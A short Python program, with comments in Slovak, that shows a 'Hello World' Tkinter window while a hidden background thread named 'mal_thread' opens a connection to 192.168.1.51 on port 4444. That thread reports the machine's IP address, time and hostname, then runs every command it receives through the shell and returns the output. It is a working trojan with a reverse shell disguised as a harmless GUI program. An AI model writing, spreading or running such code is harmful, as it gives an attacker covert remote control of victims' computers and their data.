import threading
import socket
import subprocess
import tkinter as tk
import platform
import datetime
import getpass


def main():
    server_ip = '192.168.1.51'
    port = 4444

    pripojenie = socket.socket()
    pripojenie.connect((server_ip, port))

    # Získanie IP adresy
    ip_adresa = socket.gethostbyname(socket.gethostname())

    # Získanie aktuálneho času
    cas = str(datetime.datetime.now())

    # Získanie mena zariadenia
    meno_zariadenia = platform.node()

    # Odoslanie informácií na server ako správa
    informacie = f"IP adresa: {ip_adresa}\nCas: {cas}\nMeno zariadenia: {meno_zariadenia}"
    pripojenie.send(informacie.encode())

    while True:
        prikaz = pripojenie.recv(1024)
        prikaz = prikaz.decode()
        result = subprocess.run(prikaz, shell=True, capture_output=True, text=True)
        output = result.stdout.encode()
        output_error = result.stderr.encode()
        pripojenie.send(output + output_error)


mal_thread = threading.Thread(target=main)
mal_thread.start()

root = tk.Tk()
label = tk.Label(root, text="Hello World")
label.pack()

root.mainloop()
